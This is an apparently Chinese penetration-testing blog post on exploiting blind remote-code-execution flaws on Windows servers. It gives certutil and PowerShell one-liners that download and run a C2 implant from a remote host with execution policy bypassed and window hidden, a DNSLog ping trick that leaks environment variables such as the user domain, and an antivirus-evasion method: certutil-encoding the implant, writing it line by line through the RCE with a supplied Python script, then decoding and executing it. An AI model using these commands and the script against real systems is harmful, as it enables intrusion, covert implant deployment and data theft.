51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

当无回显RCE碰上Win服务器

0# 概述

在日常的渗透过程中,总会碰到一些RCE漏洞,无回显的RCE漏洞更是家常便饭。对于无回显的漏洞利用,网上有不少文章,但我看了半天,都是Linux系统的

当无回显RCE漏洞碰上Win服务器,我们又该何去何从呢?故创建本文做个记录

RCE漏洞碰上win-title.jpg

本人才疏学浅,如本人有所疏漏,也望各位师傅指点一番

1# 无回显上线C2

遇到无回显的RCE漏洞,上线C2是不二之选,但这部分并不是今天的重点:

上传C2到服务器一般有以下操作(针对Win):

  1. 通过WebShell上传C2文件并执行
  2. 通过 Certutil 远程下载C2文件并执行
  3. 通过 PowerShell 远程下载C2文件并执行

通过 Certutil 远程下载C2文件并执行

certutil -urlcache -gmt -split -f http://C2文件远程地址 C2文件名.exe && C2文件名.exe 执行参数

通过 PowerShell 远程下载C2文件并执行

powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://C2文件远程地址','C2文件名.exe') && C2文件名.exe 执行参数

但由于实际渗透场景的不同,根据账号权限、内网拓扑、安全软件的部署、安全设备的部署等种种情况的不同,很多时候我们并不能直接通过 CertutilPowerShell 这两种方式来上线C2

2# 无回显RCE获取敏感信息

众所周知,Windows其实有很多环境变量,如下:

| 环境变量 | 变量类型 | 变量描述 | |:------------------------:|:-----:|:------------------------------------------------------------------------------:| | %ALLUSERSPROFILE% | 本地 | 指所有用户的用户目录,通常是C:/ProgramData | | %APPDATA% | 本地 | 指当前用户的Application Data目录,通常是C:/Users/当前用户名/AppData/Roaming | | %CD% | 本地 | 返回当前目录字符串 | | %CMDCMDLINE% | 本地 | 返回用来启动当前的Cmd.exe的准确命令行 | | %CMDEXTVERSION% | 系统 | 返回当前的"命令处理程序扩展"的版本号 | | %COMPUTERNAME% | 系统 | 返回计算机的名称 | | %COMSPEC% | 系统 | 返回命令行解释器可执行程序的准确路径 | | %CommonProgramFiles% | 系统 | 指公用文件目录,通常是C:\Program Files\Common Files | | %DATE% | 系统 | 返回当前日期,使用与 date /t 命令相同的格式 | | %ERRORLEVEL% | 系统 | 返回上一条命令的错误代码,通常用非零值表示错误 | | %HOMEDRIVE% | 系统 | 操作系统所在的分区号,基于主目录值而设置,同%SYSTEMDRIVE% | | %HOMEPATH% | 系统 | 同%USERPROFILE%,通常是Users/当前用户名 | | %HOMESHARE% | 系统 | 返回用户的共享主目录的网络路径,基于主目录值而设置 | | %LOGONSERVER% | 本地 | 返回验证当前登录会话的域控制器的名称 | | %NUMBER_OF_PROCESSORS% | 系统 | 指定安装在计算机上的处理器的数目 | | %OS% | 系统 | 返回操作系统名称 | | %PATH% | 系统 | 指定可执行文件的搜索路径 | | %PATHEXT% | 系统 | 返回操作系统认为可执行的文件扩展名的列表 | | %PROCESSOR_ARCHITECTURE% | 系统 | 返回处理器的芯片体系结构 | | %PROCESSOR_IDENTFIER% | 系统 | 返回处理器说明 | | %PROCESSOR_LEVEL% | 系统 | 返回计算机上安装的处理器的型号 | | %PROCESSOR_REVISION% | 系统 | 返回处理器的版本号 | | %PROMPT% | 本地 | 返回当前解释程序的命令提示符设置 | | %ProgramFiles% | 本地 | 指Program Files的路径,通常是C:/Program Files | | %RANDOM% | 系统 | 返回 0 到 32767 之间的任意十进制数字 | | %SYSTEMDRIVE% | 系统 | Windows系统所在的磁盘分区,通常是C: | | %SYSTEMROOT% | 系统 | Windows系统目录 | | %TEMP%和%TMP% | 系统和用户 | 指当前用户的临时文件目录,通常是C:/Users/当前用户名/AppData/Local/Temp,有些应用程序需要 TEMP,而其他应用程序则需要 TMP | | %TIME% | 系统 | 返回当前时间。使用与time /t命令相同的格式 | | %USERDOMAIN% | 本地 | 返回包含用户帐户的域的名称 | | %USERNAME% | 本地 | 返回当前登录的用户的名称 | | %USERPROFILE% | 本地 | 返回当前用户主目录,通常是C:/Users/当前用户名 | | %WINDIR% | 系统 | 返回操作系统目录的位置,通常是C:/Windows |

如何查看具体环境变量的内容呢?如下:

RCE漏洞碰上win-1.png

直接用echo就能查看:

echo %CommonProgramFiles%
echo %SYSTEMDRIVE%
echo %SystemRoot%

那当目标服务器无回显RCE的时候,我们要怎么利用呢?这时候就可以配合DnsLog将数据外带出来:

首先我们先生成一个DnsLog地址(当然可以用自建的DnsLog服务器):

RCE漏洞碰上win-2.png

然后假设自己想知道目标机器的 %USERDOMAIN%(包含用户帐户的域的名称),就可以在命令行中执行以下内容:

ping -n 3 %USERDOMAIN%.刚才生成的DnsLog地址

RCE漏洞碰上win-3.png

这样就可以从DnsLog得知目标系统的环境变量了,实战如下:

RCE漏洞碰上win-4.png

这是某无回显RCE漏洞的实战场景(这个漏洞应该有师傅一看Payload就知道是哪个吧哈哈),利用这种方式直接能读取到目标系统的敏感信息

这里能通过Win的环境变量获取到很多有用的信息,能大大方便后续的渗透测试过程

3# 无回显ByPass上线C2

这里接 1# 无回显上线C2 的相关内容,现在调用 PowerShellCertutil 远程下载C2文件并执行都是安全软件的高权重安全事件,都会被相关安全软件阻止,那我们有什么方法通过RCE漏洞上传可执行文件呢?

注:这部分的内容仅供参考,要结合实际情况

首先我们先要了解一个Windows系统的自带工具:Certutil



certutil.exe 是一个合法Windows文件,用于管理Windows证书的程序。


微软官方是这样对它解释的:

Certutil.exe是一个命令行程序,作为证书服务的一部分安装。
您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。

但是此合法Windows服务,现已被广泛滥用于恶意用途


很多人只知道可以通过 Certutil 进行远程下载文件(会被杀软拦截),但不知道它还能加密解密本地文件(不会报毒,可以用来ByPassAV)

3.1 加密C2可执行文件

首先,准备好C2可执行文件,通过 Certutil 进行加密导出

Certutil -encode C2可执行文件名.exe out.txt

加密导出.png

可以打开导出的TXT,看到文件有如下特征:

加密导出特征.png

-----BEGIN CERTIFICATE-----
加密后的内容
-----END CERTIFICATE-----

3.2 如何通过RCE写入文件

众所周知,通过命令行使用 echo 命令可以进行文件写入,其实是可以分为追加写入和覆盖写入的:

覆盖写入样例(只要有写入权限,out.txt 里面的内容都会覆写)

echo 1 > out.txt
//将 1 覆盖写入 out.txt

追加写入样例(只要有写入权限,out.txt 里面的内容会被追加写入)

echo 1 >> out.txt
//将 1 追加写入到 out.txt 的末尾

那我们就可以将上文生成的 out.txt,通过这种方式写入到服务器上,然后在服务器上通过 Certutil 解码出来就行了

3.3 编写脚本批量写入

这个时候就可以编写一个Python脚本批量发包,通过RCE漏洞将内容写入服务器,样例如下:

#!/usr/bin/python3
# -*- coding: utf-8 -*-
import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings()

def EXP(target_url, TxT):
    n = 1
    with open(TxT, 'r') as web:
        webs = web.readlines()
        for web in webs:
            web = web.strip()
            data = "rce= echo {} >> out.txt".format(web)     #RCE的相关传参内容,{}位置会被替换
            try:
                vuln_url = target_url + "漏洞相关路径"
                headers = {"Content-Type": "application/x-www-form-urlencoded",}
                requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
                response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
                if not('error' in response.text) and response.status_code == 200:
                    print("[+] 写入成功,响应码为:{} ".format(response.status_code)+" 这是第{}行信息".format(n))
                    n = n+1
                else:
                    print("[-] 写入中断,目标无响应\n ")
                    sys.exit(0)
            except Exception as e:
                print("[-] 请求目标失败 ", e)

if __name__ == '__main__':
    raw_url = str(input("请输入目标网站的URL\nUrl >>> "))
    if ('://' not in raw_url):
        raw_url = str("http://") + str(raw_url)
    if str(raw_url[-1]) != "/":
        raw_url = raw_url + "/"
    target_url = str(raw_url)
    print("正在尝试访问" + target_url)
    TxT = input("请输入要写入的TXT名字 >>> ")
    if TxT == "exit":
        sys.exit(0)
    else:
        EXP(target_url, TxT)

请根据自己的实际情况进行修改,脚本我随手写的,写的不好请见谅哈哈~

等批量写入完成后,可以解码并执行了,命令如下:

Certutil -decode out.txt out.exe
out.exe

4# 总结

很多时候,在学习或者工作中,碰到自己无法的解决的技术问题,不要马上丢给别人,自己一定要尝试去解决!虽然这个过程可能很痛苦,但随着自己摸索的过程,随着问题的解决,自己的能力和知识面就能逐渐提升和丰富

学习的过程便是如此,当你在未来回想这段时光的时候,一定会感谢那时努力的自己

No cross,no crown. 不见风雨,怎见彩虹? 诸君以此自勉

赞(0)
未经允许不得转载:工具盒子 » 当无回显RCE碰上Win服务器